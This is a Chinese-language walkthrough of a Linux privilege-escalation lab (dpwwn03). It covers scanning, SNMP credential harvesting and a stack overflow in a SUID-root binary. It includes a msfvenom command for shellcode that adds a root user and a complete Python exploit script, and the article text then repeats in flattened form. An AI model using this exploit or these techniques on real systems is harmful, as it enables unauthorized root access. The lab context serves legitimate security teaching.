Linux通过栈溢出进行提权实战(dpwwn03)
字数 1099 2025-08-15 21:33:12

Linux栈溢出提权实战教程:以dpwwn03靶场为例

一、Linux常见提权方式概述

在开始栈溢出提权实战前,我们先了解Linux系统中常见的提权方法:

  1. 内核漏洞提权:如脏牛(Dirty Cow)等内核级漏洞利用
  2. 定时任务(Cron)提权:利用以root权限运行的定时任务中的漏洞
  3. SUID提权:利用设置了SUID位的可执行文件
  4. sudo配置错误:利用sudoers文件中配置不当的命令权限
  5. 第三方组件漏洞:利用以root权限运行的服务或程序漏洞
  6. NFS提权:利用网络文件系统配置不当(如no_root_squash)

二、靶场环境准备

1. 主机发现

使用以下命令发现靶机IP:

arp-scan -l
nmap -sP 192.168.167.0/24

2. 端口扫描

使用Nmap进行详细端口扫描:

nmap -sS -sV -Pn -T4 -p- 192.168.167.189
nmap -A -O -sV -p 22,161 --script=vuln 192.168.167.189

三、漏洞挖掘与初始访问

1. SSH服务分析

使用searchsploit查找SSH相关漏洞:

searchsploit ssh

2. SNMP服务利用

使用snmpwalk工具查询SNMP信息:

snmpwalk -c public -v1 192.168.167.189

通过SNMP获取的信息可能包含有用的凭据,可用于SSH登录。

四、提权分析

1. 检查sudo权限

登录后首先检查当前用户的sudo权限:

sudo -l

2. 分析SUID程序

查找具有SUID位的程序:

find / -perm -4000 2>/dev/null

发现目标程序smashthestack具有SUID位且属于root。

3. 程序保护机制分析

使用checksec分析程序保护机制:

checksec --file=/path/to/smashthestack

关键保护机制:

  • RELRO:Partial RELRO(可修改GOT表)
  • Stack Canary:未开启栈保护
  • NX:未开启(栈可执行)
  • PIE:未开启(地址固定)

4. 程序逆向分析

程序关键漏洞:

char result[728];
read(0, result, 1024);  // 缓冲区溢出漏洞

五、漏洞利用开发

1. 生成shellcode

使用msfvenom生成添加root用户的shellcode:

msfvenom -p linux/x86/adduser USER=hack PASS=hack123 -e x86/alpha_mixed -f python

2. 构造exploit

完整Python exploit代码:

#!/usr/bin/python
import sys, socket

EIP = "\xd1\xf2\xff\xbf"  # 覆盖的返回地址
junk = "A"*732            # 填充缓冲区
NOP = "\x90" * 16         # NOP雪橇

# msfvenom生成的shellcode
payload = (
    "\x89\xe0\xda\xca\xd9\x70\xf4\x59\x49\x49\x49\x49\x49\x49\x49"
    "\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41"
    "\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42"
    "\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x35"
    "\x61\x58\x49\x4c\x49\x48\x4b\x50\x6a\x51\x56\x51\x48\x68\x4d"
    "\x4b\x30\x42\x4a\x53\x35\x50\x58\x45\x61\x6f\x39\x72\x71\x75"
    "\x38\x62\x53\x32\x53\x32\x57\x70\x64\x62\x48\x66\x4f\x34\x6f"
    "\x44\x30\x73\x51\x45\x38\x34\x6f\x30\x65\x51\x64\x70\x63\x4b"
    "\x39\x78\x63\x52\x61\x4d\x65\x45\x54\x58\x4d\x4b\x30\x6f\x63"
    "\x6a\x48\x77\x52\x57\x70\x77\x70\x53\x30\x61\x78\x51\x71\x70"
    "\x63\x52\x4b\x77\x4a\x52\x61\x30\x7a\x75\x32\x62\x67\x31\x62"
    "\x54\x6f\x57\x31\x75\x35\x33\x71\x43\x62\x32\x71\x74\x30\x71"
    "\x51\x76\x5a\x46\x50\x57\x4a\x56\x50\x46\x5a\x56\x5a\x64\x6f"
    "\x46\x5a\x34\x6f\x63\x52\x50\x69\x72\x4e\x34\x6f\x44\x33\x52"
    "\x48\x75\x5a\x63\x69\x4c\x4b\x72\x71\x4b\x4c\x30\x6a\x43\x34"
    "\x56\x38\x5a\x6d\x6b\x30\x43\x5a\x63\x31\x50\x58\x78\x4d\x4d"
    "\x50\x41\x41"
)

buffer = junk + EIP + NOP + payload

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("localhost",3210))
s.send(buffer)
s.close()

3. 执行exploit

  1. 将exploit保存到/tmp目录
  2. 运行exploit:
python /tmp/exploit.py
  1. 切换到新创建的root用户:
su hack

六、技术要点总结

  1. 栈溢出原理:通过向固定大小缓冲区写入超量数据覆盖返回地址
  2. 关键偏移计算
    • 缓冲区大小:728字节
    • EIP偏移:732字节(728+4字节EBP)
  3. 绕过保护机制
    • 无栈保护(Canary):直接覆盖返回地址
    • 无NX:可在栈上执行代码
    • 无PIE:地址固定,便于定位

七、扩展练习

  1. 尝试生成反弹shell的shellcode
  2. 尝试在开启NX保护的情况下使用ROP技术进行利用
  3. 研究如何动态确定shellcode地址(当PIE开启时)

通过本实战,我们掌握了如何利用栈溢出漏洞进行提权,理解了Linux程序的各种保护机制及其绕过方法。

Linux栈溢出提权实战教程:以dpwwn03靶场为例 一、Linux常见提权方式概述 在开始栈溢出提权实战前,我们先了解Linux系统中常见的提权方法: 内核漏洞提权 :如脏牛(Dirty Cow)等内核级漏洞利用 定时任务(Cron)提权 :利用以root权限运行的定时任务中的漏洞 SUID提权 :利用设置了SUID位的可执行文件 sudo配置错误 :利用sudoers文件中配置不当的命令权限 第三方组件漏洞 :利用以root权限运行的服务或程序漏洞 NFS提权 :利用网络文件系统配置不当(如no_ root_ squash) 二、靶场环境准备 1. 主机发现 使用以下命令发现靶机IP: 2. 端口扫描 使用Nmap进行详细端口扫描: 三、漏洞挖掘与初始访问 1. SSH服务分析 使用searchsploit查找SSH相关漏洞: 2. SNMP服务利用 使用snmpwalk工具查询SNMP信息: 通过SNMP获取的信息可能包含有用的凭据,可用于SSH登录。 四、提权分析 1. 检查sudo权限 登录后首先检查当前用户的sudo权限: 2. 分析SUID程序 查找具有SUID位的程序: 发现目标程序 smashthestack 具有SUID位且属于root。 3. 程序保护机制分析 使用checksec分析程序保护机制: 关键保护机制: RELRO :Partial RELRO(可修改GOT表) Stack Canary :未开启栈保护 NX :未开启(栈可执行) PIE :未开启(地址固定) 4. 程序逆向分析 程序关键漏洞: 五、漏洞利用开发 1. 生成shellcode 使用msfvenom生成添加root用户的shellcode: 2. 构造exploit 完整Python exploit代码: 3. 执行exploit 将exploit保存到/tmp目录 运行exploit: 切换到新创建的root用户: 六、技术要点总结 栈溢出原理 :通过向固定大小缓冲区写入超量数据覆盖返回地址 关键偏移计算 : 缓冲区大小:728字节 EIP偏移:732字节(728+4字节EBP) 绕过保护机制 : 无栈保护(Canary):直接覆盖返回地址 无NX:可在栈上执行代码 无PIE:地址固定,便于定位 七、扩展练习 尝试生成反弹shell的shellcode 尝试在开启NX保护的情况下使用ROP技术进行利用 研究如何动态确定shellcode地址(当PIE开启时) 通过本实战,我们掌握了如何利用栈溢出漏洞进行提权,理解了Linux程序的各种保护机制及其绕过方法。